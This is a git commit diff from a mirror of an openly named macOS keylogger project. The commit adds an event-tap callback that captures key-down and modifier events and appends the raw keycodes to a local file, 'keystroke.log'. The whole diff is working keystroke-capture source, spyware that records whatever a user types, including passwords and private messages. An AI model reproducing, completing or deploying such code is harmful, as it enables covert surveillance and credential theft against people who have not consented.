1
0
mirror of https://github.com/caseyscarborough/keylogger.git synced 2020-11-18 19:53:40 -08:00

File writing has begun.

This commit is contained in:
Casey Scarborough 2013-09-16 18:48:12 -04:00
parent 8380149244
commit 71a63661bc

View File

@ -8,6 +8,7 @@
using namespace std; using namespace std;
const char *logfileLocation = "./keystroke.log"; const char *logfileLocation = "./keystroke.log";
fstream logfile;
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *); CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
int main(int argc, const char *argv[]) { int main(int argc, const char *argv[]) {
@ -25,12 +26,19 @@ int main(int argc, const char *argv[]) {
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true); CGEventTapEnable(eventTap, true);
ofstream logfile; logfile.open(logfileLocation, ios::out);
logfile.open(logfileLocation, ios::app); logfile << "Keylogging started.\n\n";
logfile << "Keylogging started.";
CFRunLoopRun(); CFRunLoopRun();
return 0; return 0;
} }
CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {} CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if ((type != kCGEventKeyDown) && (type != kCGEventFlagsChanged)) {
return event;
}
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
logfile << keyCode;
return event;
}